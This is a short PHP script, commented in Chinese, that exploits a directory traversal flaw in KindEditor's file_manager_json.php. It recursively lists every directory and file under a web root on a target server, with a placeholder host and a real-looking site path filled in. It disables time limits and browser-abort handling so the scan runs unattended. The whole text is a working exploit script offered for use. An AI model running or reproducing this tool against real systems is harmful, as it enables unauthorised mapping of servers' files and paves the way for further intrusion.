<?php /** * 利用KINDEDITOR的遍历漏洞,采用脚本自己遍历出所有目录及文件,生成结构图 便于发现问题 */ ob_end_clean(); ob_implicit_flush(1); header("Content-Type: text/html; charset=UTF-8"); set_time_limit(0); ignore_user_abort();//关掉浏览器,PHP脚本也可以继续执行. $url = "http://wwww.xxx.com/js/php/file_manager_json.php?path=var/www/html/ivr.51jiabo.com/"; getdir($url); function getdir($url){ $json = file_get_contents($url); $arr = json_decode($json); echo($arr->current_dir_path)."<br />"; foreach($arr->file_list as $key=>$value){ if($value->is_dir == true) { getdir($url . $value->filename . "/"); } else { echo $value->filename . "<br />"; } } } //递归